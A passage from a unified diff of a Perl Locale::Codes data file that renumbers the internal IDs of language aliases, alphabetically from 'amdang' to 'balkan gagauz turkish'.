-      q(0578),
+      q(0577),
       q(0),
       ],
    q(amdang) => [
-      q(0774),
+      q(0773),
       q(0),
       ],
    q(amdo tibetan) => [
-      q(0622),
+      q(0621),
       q(0),
       ],
    q(amele) => [
-      q(0638),
+      q(0637),
       q(0),
       ],
    q(american sign language) => [
-      q(0890),
+      q(0889),
       q(0),
       ],
    q(amganad ifugao) => [
-      q(2909),
+      q(2906),
       q(0),
       ],
    q(amharic) => [
@@ -25279,7 +25261,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ami) => [
-      q(0789),
+      q(0788),
       q(0),
       ],
    q(amio-gelimi) => [
@@ -25287,203 +25269,203 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(amis) => [
-      q(0773),
+      q(0772),
       q(0),
       ],
    q(amo) => [
-      q(0779),
+      q(0778),
       q(0),
       ],
    q(amol) => [
-      q(0764),
+      q(0763),
       q(0),
       ],
    q(amoltepec mixtec) => [
-      q(4144),
+      q(4143),
       q(0),
       ],
    q(ampanang) => [
-      q(0840),
+      q(0839),
       q(0),
       ],
    q(ampari dogon) => [
-      q(0861),
+      q(0860),
       q(0),
       ],
    q(amri karbi) => [
-      q(0722),
+      q(0721),
       q(0),
       ],
    q(amto) => [
-      q(0784),
+      q(0783),
       q(0),
       ],
    q(amundava) => [
-      q(0621),
+      q(0620),
       q(0),
       ],
    q(amurdak) => [
-      q(0772),
+      q(0771),
       q(0),
       ],
    q(ana tinga dogon) => [
-      q(2154),
+      q(2153),
       q(0),
       ],
    q(anaang) => [
-      q(0811),
+      q(0810),
       q(0),
       ],
    q(anakalangu) => [
-      q(0728),
+      q(0727),
       q(0),
       ],
    q(anal) => [
-      q(0802),
+      q(0801),
       q(0),
       ],
    q(anam) => [
-      q(5393),
+      q(5389),
       q(0),
       ],
    q(anambe) => [
-      q(0550),
+      q(0549),
       q(0),
       ],
    q(anamgura) => [
-      q(2960),
+      q(2957),
       q(0),
       ],
    q(anasi) => [
-      q(1386),
+      q(1385),
       q(0),
       ],
    q(anca) => [
-      q(0586),
+      q(0585),
       q(0),
       ],
    q(ancient aramaic (up to 700 bce)) => [
-      q(5182),
+      q(5178),
       q(1),
       ],
    q(ancient greek (to 1453)) => [
-      q(0164),
+      q(0163),
       q(1),
       ],
    q(ancient hebrew) => [
-      q(2732),
+      q(2730),
       q(0),
       ],
    q(ancient macedonian) => [
-      q(7401),
+      q(7398),
       q(0),
       ],
    q(ancient north arabian) => [
-      q(7417),
+      q(7414),
       q(0),
       ],
    q(ancient zapotec) => [
-      q(7559),
+      q(7556),
       q(0),
       ],
    q(andaandi) => [
-      q(2007),
+      q(2006),
       q(0),
       ],
    q(andai) => [
-      q(0641),
+      q(0640),
       q(0),
       ],
    q(andajin) => [
-      q(0717),
+      q(0716),
       q(0),
       ],
    q(andalusian arabic) => [
-      q(7259),
+      q(7257),
       q(0),
       ],
    q(andaman creole hindi) => [
-      q(2734),
+      q(2732),
       q(0),
       ],
    q(andaqui) => [
-      q(0791),
+      q(0790),
       q(0),
       ],
    q(andarum) => [
-      q(0818),
+      q(0817),
       q(0),
       ],
    q(andegerebinha) => [
-      q(0609),
+      q(0608),
       q(0),
       ],
    q(andh) => [
-      q(0806),
+      q(0805),
       q(0),
       ],
    q(andi) => [
-      q(0798),
+      q(0797),
       q(0),
       ],
    q(andio) => [
-      q(1613),
+      q(1612),
       q(0),
       ],
    q(andoa) => [
-      q(0792),
+      q(0791),
       q(0),
       ],
    q(andoque) => [
-      q(0804),
+      q(0803),
       q(0),
       ],
    q(andra-hus) => [
-      q(0812),
+      q(0811),
       q(0),
       ],
    q(aneityum) => [
-      q(0932),
+      q(0931),
       q(0),
       ],
    q(anem) => [
-      q(0814),
+      q(0813),
       q(0),
       ],
    q(aneme wake) => [
-      q(0583),
+      q(0582),
       q(0),
       ],
    q(anfillo) => [
-      q(4678),
+      q(4677),
       q(0),
       ],
    q(angaataha) => [
-      q(0665),
+      q(0664),
       q(0),
       ],
    q(angaite) => [
-      q(0867),
+      q(0866),
       q(0),
       ],
    q(angal) => [
-      q(0657),
+      q(0656),
       q(0),
       ],
    q(angal enen) => [
-      q(0819),
+      q(0818),
       q(0),
       ],
    q(angal heneng) => [
-      q(0729),
+      q(0728),
       q(0),
       ],
    q(angami naga) => [
-      q(4905),
+      q(4903),
       q(0),
       ],
    q(angguruk yali) => [
-      q(7665),
+      q(7662),
       q(0),
       ],
    q(angika) => [
@@ -25491,27 +25473,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(angkamuthi) => [
-      q(0961),
+      q(0960),
       q(0),
       ],
    q(anglo-norman) => [
-      q(7424),
+      q(7421),
       q(0),
       ],
    q(angloromani) => [
-      q(5799),
+      q(5798),
       q(0),
       ],
    q(angolar) => [
-      q(0815),
+      q(0814),
       q(0),
       ],
    q(angor) => [
-      q(0659),
+      q(0658),
       q(0),
       ],
    q(angoram) => [
-      q(0821),
+      q(0820),
       q(0),
       ],
    q(angosturas tunebo) => [
@@ -25519,115 +25501,115 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(anguthimri) => [
-      q(0971),
+      q(0970),
       q(0),
       ],
    q(ani) => [
-      q(2800),
+      q(2798),
       q(1),
       ],
    q(ani phowa) => [
-      q(7717),
+      q(7714),
       q(0),
       ],
    q(anii) => [
-      q(1292),
+      q(1291),
       q(0),
       ],
    q(animere) => [
-      q(0796),
+      q(0795),
       q(0),
       ],
    q(anindilyakwa) => [
-      q(0823),
+      q(0822),
       q(0),
       ],
    q(anjam) => [
-      q(1359),
+      q(1358),
       q(0),
       ],
    q(ankave) => [
-      q(0548),
+      q(0547),
       q(0),
       ],
    q(anmatyerre) => [
-      q(0788),
+      q(0787),
       q(0),
       ],
    q(anong) => [
-      q(5111),
+      q(5107),
       q(0),
       ],
    q(anor) => [
-      q(0799),
+      q(0798),
       q(0),
       ],
    q(anserma) => [
-      q(0807),
+      q(0806),
       q(0),
       ],
    q(ansus) => [
-      q(0794),
+      q(0793),
       q(0),
       ],
    q(antakarinya) => [
-      q(0808),
+      q(0807),
       q(0),
       ],
    q(antankarana malagasy) => [
-      q(7412),
+      q(7409),
       q(0),
       ],
    q(antigua and barbuda creole english) => [
-      q(0698),
+      q(0697),
       q(0),
       ],
    q(anu-hkongso chin) => [
-      q(0801),
+      q(0800),
       q(0),
       ],
    q(anuak) => [
-      q(0809),
+      q(0808),
       q(0),
       ],
    q(anufo) => [
-      q(1756),
+      q(1755),
       q(0),
       ],
    q(anuki) => [
-      q(0940),
+      q(0939),
       q(0),
       ],
    q(anus) => [
-      q(0948),
+      q(0947),
       q(0),
       ],
    q(anuta) => [
-      q(0937),
+      q(0936),
       q(0),
       ],
    q(anyin) => [
-      q(0813),
+      q(0812),
       q(0),
       ],
    q(anyin morofo) => [
-      q(4549),
+      q(4548),
       q(0),
       ],
    q(ao naga) => [
-      q(4907),
+      q(4905),
       q(0),
       ],
    q(aoheng) => [
-      q(5532),
+      q(5528),
       q(0),
       ],
    q(aore) => [
-      q(0829),
+      q(0828),
       q(0),
       ],
    q(ap ma) => [
-      q(3205),
+      q(3203),
       q(0),
       ],
    q(apache languages) => [
@@ -25635,59 +25617,59 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(apalachee) => [
-      q(7271),
+      q(7269),
       q(0),
       ],
    q(apalai) => [
-      q(0858),
+      q(0857),
       q(0),
       ],
    q(apali) => [
-      q(2260),
+      q(2259),
       q(0),
       ],
    q(apasco-apoala mixtec) => [
-      q(4304),
+      q(4303),
       q(0),
       ],
    q(apatani) => [
-      q(0853),
+      q(0852),
       q(0),
       ],
    q(apiaka) => [
-      q(0842),
+      q(0841),
       q(0),
       ],
    q(apinaye) => [
-      q(0847),
+      q(0846),
       q(0),
       ],
    q(apma) => [
-      q(0849),
+      q(0848),
       q(0),
       ],
    q(aproumu aizi) => [
-      q(0688),
+      q(0687),
       q(0),
       ],
    q(apurina) => [
-      q(0854),
+      q(0853),
       q(0),
       ],
    q(aputai) => [
-      q(0857),
+      q(0856),
       q(0),
       ],
    q(aquitanian) => [
-      q(7272),
+      q(7270),
       q(0),
       ],
    q(arabana) => [
-      q(0870),
+      q(0869),
       q(0),
       ],
    q(arabela) => [
-      q(0876),
+      q(0875),
       q(0),
       ],
    q(arabic) => [
@@ -25699,35 +25681,35 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(araki) => [
-      q(0737),
+      q(0736),
       q(0),
       ],
    q(arakwal) => [
-      q(5794),
+      q(5793),
       q(0),
       ],
    q(aralle-tabulahan) => [
-      q(0924),
+      q(0923),
       q(0),
       ],
    q(arammba) => [
-      q(6252),
+      q(6253),
       q(0),
       ],
    q(aranadan) => [
-      q(0544),
+      q(0543),
       q(0),
       ],
    q(aranama-tamique) => [
-      q(7471),
+      q(7468),
       q(0),
       ],
    q(arandai) => [
-      q(3061),
+      q(3058),
       q(0),
       ],
    q(araona) => [
-      q(0877),
+      q(0876),
       q(0),
       ],
    q(arapaho) => [
@@ -25735,19 +25717,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(arapaso) => [
-      q(0874),
+      q(0873),
       q(0),
       ],
    q(ararandewara) => [
-      q(7266),
+      q(7264),
       q(0),
       ],
    q(arauan languages) => [
-      q(0492),
+      q(0491),
       q(0),
       ],
    q(arawa) => [
-      q(0881),
+      q(0880),
       q(1),
       ],
    q(arawak) => [
@@ -25755,75 +25737,75 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(arawakan languages) => [
-      q(0493),
+      q(0492),
       q(0),
       ],
    q(arawete) => [
-      q(0980),
+      q(0979),
       q(0),
       ],
    q(arawum) => [
-      q(0975),
+      q(0974),
       q(0),
       ],
    q(arbereshe albanian) => [
-      q(0543),
+      q(0542),
       q(0),
       ],
    q(arbore) => [
-      q(0882),
+      q(0881),
       q(0),
       ],
    q(archi) => [
-      q(0860),
+      q(0859),
       q(0),
       ],
    q(ardhamagadhi prakrit) => [
-      q(5471),
+      q(5467),
       q(0),
       ],
    q(are) => [
-      q(4620),
+      q(4619),
       q(0),
       ],
    q(areba) => [
-      q(0624),
+      q(0623),
       q(0),
       ],
    q(arem) => [
-      q(0631),
+      q(0630),
       q(0),
       ],
    q(arequipa-la union quechua) => [
-      q(5723),
+      q(5721),
       q(0),
       ],
    q(argentine sign language) => [
-      q(0627),
+      q(0626),
       q(0),
       ],
    q(argobba) => [
-      q(0662),
+      q(0661),
       q(0),
       ],
    q(arguni) => [
-      q(0658),
+      q(0657),
       q(0),
       ],
    q(arha) => [
-      q(0866),
+      q(0865),
       q(0),
       ],
    q(arho) => [
-      q(0825),
+      q(0824),
       q(0),
       ],
    q(arhuaco) => [
-      q(0872),
+      q(0871),
       q(0),
       ],
    q(ari) => [
-      q(0541),
+      q(0540),
       q(0),
       ],
    q(aribwatsa) => [
@@ -25831,43 +25813,43 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(aribwaung) => [
-      q(7671),
+      q(7668),
       q(0),
       ],
    q(arifama-miniafia) => [
-      q(0547),
+      q(0546),
       q(0),
       ],
    q(arigidi) => [
-      q(0862),
+      q(0861),
       q(0),
       ],
    q(arikapu) => [
-      q(0875),
+      q(0874),
       q(0),
       ],
    q(arikara) => [
-      q(0873),
+      q(0872),
       q(0),
       ],
    q(arikem) => [
-      q(0710),
+      q(0709),
       q(0),
       ],
    q(arin) => [
-      q(7468),
+      q(7465),
       q(0),
       ],
    q(aringa) => [
-      q(4069),
+      q(4068),
       q(0),
       ],
    q(arma) => [
-      q(0822),
+      q(0821),
       q(0),
       ],
    q(armazic) => [
-      q(7467),
+      q(7464),
       q(0),
       ],
    q(armenian) => [
@@ -25875,39 +25857,39 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(armenian (family)) => [
-      q(0512),
+      q(0511),
       q(0),
       ],
    q(armenian sign language) => [
-      q(0632),
+      q(0631),
       q(0),
       ],
    q(aromanian) => [
-      q(0363),
+      q(0362),
       q(0),
       ],
    q(arop-lokep) => [
-      q(0851),
+      q(0850),
       q(0),
       ],
    q(arop-sissano) => [
-      q(0852),
+      q(0851),
       q(0),
       ],
    q(arosi) => [
-      q(0692),
+      q(0691),
       q(0),
       ],
    q(arpitan) => [
-      q(2372),
+      q(2371),
       q(0),
       ],
    q(arritinngithigh) => [
-      q(5842),
+      q(5841),
       q(0),
       ],
    q(arta) => [
-      q(0933),
+      q(0932),
       q(0),
       ],
    q(artificial languages) => [
@@ -25915,23 +25897,23 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(arua (amazonas state)) => [
-      q(0881),
+      q(0880),
       q(0),
       ],
    q(arua (rodonia state)) => [
-      q(0883),
+      q(0882),
       q(0),
       ],
    q(aruamu) => [
-      q(4546),
+      q(4545),
       q(0),
       ],
    q(aruek) => [
-      q(0949),
+      q(0948),
       q(0),
       ],
    q(arumanian) => [
-      q(0363),
+      q(0362),
       q(1),
       ],
    q(aruop) => [
@@ -25939,63 +25921,63 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(arutani) => [
-      q(0931),
+      q(0930),
       q(0),
       ],
    q(arvanitika albanian) => [
-      q(0555),
+      q(0554),
       q(0),
       ],
    q(as) => [
-      q(0909),
+      q(0908),
       q(0),
       ],
    q(asaro'o) => [
-      q(4569),
+      q(4568),
       q(0),
       ],
    q(asas) => [
-      q(0889),
+      q(0888),
       q(0),
       ],
    q(ashaninka) => [
-      q(1797),
+      q(1796),
       q(0),
       ],
    q(ashe) => [
-      q(0690),
+      q(0689),
       q(0),
       ],
    q(asheninka pajonal) => [
-      q(1747),
+      q(1746),
       q(0),
       ],
    q(asheninka perene) => [
-      q(5593),
+      q(5590),
       q(0),
       ],
    q(ashkun) => [
-      q(0896),
+      q(0895),
       q(0),
       ],
    q(asho chin) => [
-      q(1867),
+      q(1866),
       q(0),
       ],
    q(ashtiani) => [
-      q(0921),
+      q(0920),
       q(0),
       ],
    q(asilulu) => [
-      q(0897),
+      q(0896),
       q(0),
       ],
    q(askopan) => [
-      q(2226),
+      q(2225),
       q(0),
       ],
    q(asoa) => [
-      q(0905),
+      q(0904),
       q(0),
       ],
    q(assamese) => [
@@ -26003,19 +25985,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(assan) => [
-      q(7488),
+      q(7485),
       q(0),
       ],
    q(assangori) => [
-      q(6050),
+      q(6049),
       q(0),
       ],
    q(assiniboine) => [
-      q(0887),
+      q(0886),
       q(0),
       ],
    q(assyrian neo-aramaic) => [
-      q(0700),
+      q(0699),
       q(0),
       ],
    q(asturian) => [
@@ -26027,47 +26009,47 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(3),
       ],
    q(asu (nigeria)) => [
-      q(0944),
+      q(0943),
       q(0),
       ],
    q(asu (tanzania)) => [
-      q(0886),
+      q(0885),
       q(0),
       ],
    q(asue awyu) => [
-      q(5601),
+      q(5598),
       q(0),
       ],
    q(asumboa) => [
-      q(0934),
+      q(0933),
       q(0),
       ],
    q(asuncion mixtepec zapotec) => [
-      q(7895),
+      q(7892),
       q(0),
       ],
    q(asuri) => [
-      q(0902),
+      q(0901),
       q(0),
       ],
    q(ata) => [
-      q(0920),
+      q(0919),
       q(0),
       ],
    q(ata manobo) => [
-      q(0913),
+      q(0912),
       q(0),
       ],
    q(atakapa) => [
-      q(0865),
+      q(0864),
       q(0),
       ],
    q(atampaya) => [
-      q(0790),
+      q(0789),
       q(0),
       ],
    q(atatlahuca mixtec) => [
-      q(4292),
+      q(4291),
       q(0),
       ],
    q(atayal) => [
@@ -26075,7 +26057,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(atemble) => [
-      q(0914),
+      q(0913),
       q(0),
       ],
    q(athapascan languages) => [
@@ -26083,87 +26065,87 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(athpariya) => [
-      q(0841),
+      q(0840),
       q(0),
       ],
    q(ati) => [
-      q(0918),
+      q(0917),
       q(0),
       ],
    q(atikamekw) => [
-      q(0917),
+      q(0916),
       q(0),
       ],
    q(atlantic-congo languages) => [
-      q(0489),
+      q(0488),
       q(0),
       ],
    q(atohwaim) => [
-      q(0863),
+      q(0862),
       q(0),
       ],
    q(atong (cameroon)) => [
-      q(0922),
+      q(0921),
       q(0),
       ],
    q(atong (india)) => [
-      q(0831),
+      q(0830),
       q(0),
       ],
    q(atorada) => [
-      q(0833),
+      q(0832),
       q(0),
       ],
    q(atsahuaca) => [
-      q(0912),
+      q(0911),
       q(0),
       ],
    q(atsam) => [
-      q(1682),
+      q(1681),
       q(0),
       ],
    q(atsugewi) => [
-      q(0930),
+      q(0929),
       q(0),
       ],
    q(attapady kurumba) => [
-      q(5479),
+      q(5475),
       q(0),
       ],
    q(attie) => [
-      q(0916),
+      q(0915),
       q(0),
       ],
    q(atzingo matlatzinca) => [
-      q(5195),
+      q(5191),
       q(0),
       ],
    q(au) => [
-      q(0965),
+      q(0964),
       q(0),
       ],
    q(aulua) => [
-      q(0943),
+      q(0942),
       q(0),
       ],
    q(aura) => [
-      q(0953),
+      q(0952),
       q(0),
       ],
    q(aushi) => [
-      q(0939),
+      q(0938),
       q(0),
       ],
    q(aushiri) => [
-      q(0964),
+      q(0963),
       q(0),
       ],
    q(austral) => [
-      q(0950),
+      q(0949),
       q(0),
       ],
    q(australian aborigines sign language) => [
-      q(0906),
+      q(0905),
       q(0),
       ],
    q(australian languages) => [
@@ -26171,19 +26153,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(australian sign language) => [
-      q(0891),
+      q(0890),
       q(0),
       ],
    q(austrian sign language) => [
-      q(0901),
+      q(0900),
       q(0),
       ],
    q(austro-asiatic languages) => [
-      q(0488),
+      q(0487),
       q(0),
       ],
    q(austronesian languages) => [
-      q(0272),
+      q(0271),
       q(0),
       ],
    q(auwe) => [
@@ -26191,19 +26173,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(auye) => [
-      q(0951),
+      q(0950),
       q(0),
       ],
    q(auyokawa) => [
-      q(0946),
+      q(0945),
       q(0),
       ],
    q(ava guarani) => [
-      q(4856),
+      q(4854),
       q(1),
       ],
    q(ava-canoeiro) => [
-      q(0967),
+      q(0966),
       q(0),
       ],
    q(avaric) => [
@@ -26211,11 +26193,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(avatime) => [
-      q(0962),
+      q(0961),
       q(0),
       ],
    q(avau) => [
-      q(0956),
+      q(0955),
       q(0),
       ],
    q(avava) => [
@@ -26227,19 +26209,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(avikam) => [
-      q(0958),
+      q(0957),
       q(0),
       ],
    q(avokaya) => [
-      q(0966),
+      q(0965),
       q(0),
       ],
    q(awa (china)) => [
-      q(7040),
+      q(7039),
       q(0),
       ],
    q(awa (papua new guinea)) => [
-      q(0968),
+      q(0967),
       q(0),
       ],
    q(awa-cuaiquer) => [
@@ -26247,11 +26229,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(awabakal) => [
-      q(0974),
+      q(0973),
       q(0),
       ],
    q(awad bing) => [
-      q(1085),
+      q(1084),
       q(0),
       ],
    q(awadhi) => [
@@ -26259,119 +26241,119 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(awak) => [
-      q(0977),
+      q(0976),
       q(0),
       ],
    q(awar) => [
-      q(0993),
+      q(0992),
       q(0),
       ],
    q(awara) => [
-      q(0984),
+      q(0983),
       q(0),
       ],
    q(awbono) => [
-      q(0972),
+      q(0971),
       q(0),
       ],
    q(aweer) => [
-      q(1353),
+      q(1352),
       q(0),
       ],
    q(awera) => [
-      q(0978),
+      q(0977),
       q(0),
       ],
    q(aweti) => [
-      q(0970),
+      q(0969),
       q(0),
       ],
    q(awing) => [
-      q(1020),
+      q(1019),
       q(0),
       ],
    q(awiyaana) => [
-      q(0954),
+      q(0953),
       q(0),
       ],
    q(awjilah) => [
-      q(0941),
+      q(0940),
       q(0),
       ],
    q(awngi) => [
-      q(0976),
+      q(0975),
       q(0),
       ],
    q(awngthim) => [
-      q(2684),
+      q(2682),
       q(0),
       ],
    q(awtuw) => [
-      q(3464),
+      q(3463),
       q(0),
       ],
    q(awu) => [
-      q(7645),
+      q(7642),
       q(0),
       ],
    q(awun) => [
-      q(0983),
+      q(0982),
       q(0),
       ],
    q(awutu) => [
-      q(0651),
+      q(0650),
       q(0),
       ],
    q(awyi) => [
-      q(0952),
+      q(0951),
       q(0),
       ],
    q(axamb) => [
-      q(0679),
+      q(0678),
       q(0),
       ],
    q(axi yi) => [
-      q(7647),
+      q(7644),
       q(0),
       ],
    q(ayabadhu) => [
-      q(0996),
+      q(0995),
       q(0),
       ],
    q(ayacucho quechua) => [
-      q(5689),
+      q(5687),
       q(0),
       ],
    q(ayangan ifugao) => [
-      q(2910),
+      q(2907),
       q(1),
       ],
    q(ayautla mazatec) => [
-      q(7024),
+      q(7023),
       q(0),
       ],
    q(ayere) => [
-      q(0997),
+      q(0996),
       q(0),
       ],
    q(ayerrerenge) => [
-      q(0987),
+      q(0986),
       q(0),
       ],
    q(ayi (papua new guinea)) => [
-      q(1006),
+      q(1005),
       q(0),
       ],
    q(ayiwo) => [
-      q(4825),
+      q(4823),
       q(0),
       ],
    q(ayizi) => [
-      q(7787),
+      q(7784),
       q(0),
       ],
    q(ayizo gbe) => [
-      q(0994),
+      q(0993),
       q(0),
       ],
    q(aymara) => [
@@ -26379,19 +26361,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ayoquesco zapotec) => [
-      q(7795),
+      q(7792),
       q(0),
       ],
    q(ayoreo) => [
-      q(1004),
+      q(1003),
       q(0),
       ],
    q(ayu) => [
-      q(1010),
+      q(1009),
       q(0),
       ],
    q(ayutla mixtec) => [
-      q(4311),
+      q(4310),
       q(0),
       ],
    q(azerbaijani) => [
@@ -26399,11 +26381,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(azha) => [
-      q(1013),
+      q(1012),
       q(0),
       ],
    q(azhe) => [
-      q(7648),
+      q(7645),
       q(0),
       ],
    q(azoyu me'phaa) => [
@@ -26415,43 +26397,43 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(baan) => [
-      q(1525),
+      q(1524),
       q(0),
       ],
    q(baangi) => [
-      q(1420),
+      q(1419),
       q(0),
       ],
    q(baatonum) => [
-      q(1039),
+      q(1038),
       q(0),
       ],
    q(baba) => [
-      q(1061),
+      q(1060),
       q(0),
       ],
    q(baba malay) => [
-      q(4125),
+      q(4124),
       q(0),
       ],
    q(babalia creole arabic) => [
-      q(1064),
+      q(1063),
       q(0),
       ],
    q(babango) => [
-      q(1051),
+      q(1050),
       q(0),
       ],
    q(babanki) => [
-      q(1049),
+      q(1048),
       q(0),
       ],
    q(babatana) => [
-      q(1023),
+      q(1022),
       q(0),
       ],
    q(babine) => [
-      q(1082),
+      q(1081),
       q(0),
       ],
    q(bable) => [
@@ -26459,79 +26441,79 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(babuza) => [
-      q(1618),
+      q(1617),
       q(0),
       ],
    q(bacama) => [
-      q(1088),
+      q(1087),
       q(0),
       ],
    q(bacanese malay) => [
-      q(1479),
+      q(1478),
       q(0),
       ],
    q(bactrian) => [
-      q(7281),
+      q(7279),
       q(0),
       ],
    q(bada (indonesia)) => [
-      q(1209),
+      q(1208),
       q(0),
       ],
    q(bada (nigeria)) => [
-      q(1034),
+      q(1033),
       q(0),
       ],
    q(badaga) => [
-      q(1153),
+      q(1152),
       q(0),
       ],
    q(bade) => [
-      q(1094),
+      q(1093),
       q(0),
       ],
    q(badeshi) => [
-      q(1115),
+      q(1114),
       q(0),
       ],
    q(badi kanum) => [
-      q(3332),
+      q(3331),
       q(0),
       ],
    q(badimaya) => [
-      q(1210),
+      q(1209),
       q(0),
       ],
    q(badjiri) => [
-      q(3060),
+      q(3057),
       q(0),
       ],
    q(badui) => [
-      q(1025),
+      q(1024),
       q(0),
       ],
    q(badyara) => [
-      q(5370),
+      q(5366),
       q(0),
       ],
    q(baeggu) => [
-      q(1519),
+      q(1518),
       q(0),
       ],
    q(baelelea) => [
-      q(1518),
+      q(1517),
       q(0),
       ],
    q(baetora) => [
-      q(1485),
+      q(1484),
       q(0),
       ],
    q(bafanji) => [
-      q(1146),
+      q(1145),
       q(0),
       ],
    q(bafaw-balong) => [
-      q(1560),
+      q(1559),
       q(0),
       ],
    q(bafia) => [
@@ -26539,59 +26521,59 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(bafut) => [
-      q(1140),
+      q(1139),
       q(0),
       ],
    q(baga kaloum) => [
-      q(1402),
+      q(1401),
       q(0),
       ],
    q(baga koga) => [
-      q(1174),
+      q(1173),
       q(0),
       ],
    q(baga manduri) => [
-      q(1306),
+      q(1305),
       q(0),
       ],
    q(baga pokur) => [
-      q(1071),
+      q(1070),
       q(0),
       ],
    q(baga sitemu) => [
-      q(1461),
+      q(1460),
       q(0),
       ],
    q(baga sobane) => [
-      q(1467),
+      q(1466),
       q(0),
       ],
    q(bagheli) => [
-      q(1160),
+      q(1159),
       q(0),
       ],
    q(bagirmi) => [
-      q(1311),
+      q(1310),
       q(0),
       ],
    q(bagirmi fulfulde) => [
-      q(2384),
+      q(2383),
       q(0),
       ],
    q(bago-kusuntu) => [
-      q(1403),
+      q(1402),
       q(0),
       ],
    q(bagri) => [
-      q(1176),
+      q(1175),
       q(0),
       ],
    q(bagupi) => [
-      q(1380),
+      q(1379),
       q(0),
       ],
    q(bagusa) => [
-      q(1399),
+      q(1398),
       q(0),
       ],
    q(bagvalal) => [
@@ -26599,171 +26581,171 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(baha buyang) => [
-      q(7627),
+      q(7624),
       q(0),
       ],
    q(baham) => [
-      q(1112),
+      q(1111),
       q(0),
       ],
    q(bahamas creole english) => [
-      q(1029),
+      q(1028),
       q(0),
       ],
    q(baharna arabic) => [
-      q(0580),
+      q(0579),
       q(0),
       ],
    q(bahau) => [
-      q(1205),
+      q(1204),
       q(0),
       ],
    q(bahinemo) => [
-      q(1237),
+      q(1236),
       q(0),
       ],
    q(bahing) => [
-      q(1195),
+      q(1194),
       q(0),
       ],
    q(bahnar) => [
-      q(1106),
+      q(1105),
       q(0),
       ],
    q(bahonsuai) => [
-      q(1466),
+      q(1465),
       q(0),
       ],
    q(bai) => [
-      q(1099),
+      q(1098),
       q(0),
       ],
    q(baibai) => [
-      q(1044),
+      q(1043),
       q(0),
       ],
    q(baikeno) => [
-      q(1276),
+      q(1275),
       q(0),
       ],
    q(baima) => [
-      q(1404),
+      q(1403),
       q(0),
       ],
    q(baimak) => [
-      q(1326),
+      q(1325),
       q(0),
       ],
    q(bainouk-gunyaamolo) => [
-      q(1089),
+      q(1088),
       q(0),
       ],
    q(bainouk-gunyuno) => [
-      q(1024),
+      q(1023),
       q(0),
       ],
    q(bainouk-samik) => [
-      q(1066),
+      q(1065),
       q(0),
       ],
    q(baiso) => [
-      q(1468),
+      q(1467),
       q(0),
       ],
    q(baissa fali) => [
-      q(2324),
+      q(2323),
       q(0),
       ],
    q(bajan) => [
-      q(1247),
+      q(1246),
       q(0),
       ],
    q(bajelani) => [
-      q(1242),
+      q(1241),
       q(0),
       ],
    q(baka (cameroon)) => [
-      q(1256),
+      q(1255),
       q(0),
       ],
    q(baka (sudan)) => [
-      q(1097),
+      q(1096),
       q(0),
       ],
    q(bakairi) => [
-      q(1269),
+      q(1268),
       q(0),
       ],
    q(bakaka) => [
-      q(1422),
+      q(1421),
       q(0),
       ],
    q(bakhtiari) => [
-      q(1405),
+      q(1404),
       q(0),
       ],
    q(baki) => [
-      q(1261),
+      q(1260),
       q(0),
       ],
    q(bakoko) => [
-      q(1260),
+      q(1259),
       q(0),
       ],
    q(bakole) => [
-      q(3455),
+      q(3454),
       q(0),
       ],
    q(bakpinka) => [
-      q(1057),
+      q(1056),
       q(0),
       ],
    q(bakumpai) => [
-      q(1270),
+      q(1269),
       q(0),
       ],
    q(bakwe) => [
-      q(1251),
+      q(1250),
       q(0),
       ],
    q(balaesang) => [
-      q(1296),
+      q(1295),
       q(0),
       ],
    q(balangao) => [
-      q(1299),
+      q(1298),
       q(0),
       ],
    q(balangingi) => [
-      q(6222),
+      q(6223),
       q(0),
       ],
    q(balanta-ganja) => [
-      q(1248),
+      q(1247),
       q(0),
       ],
    q(balanta-kentohe) => [
-      q(1282),
+      q(1281),
       q(0),
       ],
    q(balantak) => [
-      q(1302),
+      q(1301),
       q(0),
       ],
    q(balau) => [
-      q(1284),
+      q(1283),
       q(0),
       ],
    q(baldemu) => [
-      q(1103),
+      q(1102),
       q(0),
       ],
    q(bali (democratic republic of congo)) => [
-      q(1080),
+      q(1079),
       q(0),
       ],
    q(bali (nigeria)) => [
-      q(1078),
+      q(1077),
       q(0),
       ],
    q(balinese) => [
@@ -26771,27 +26753,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(balinese malay) => [
-      q(4281),
+      q(4280),
       q(0),
       ],
    q(balkan gagauz turkish) => [
-      q(1183),
+      q(1182),
       q(0),
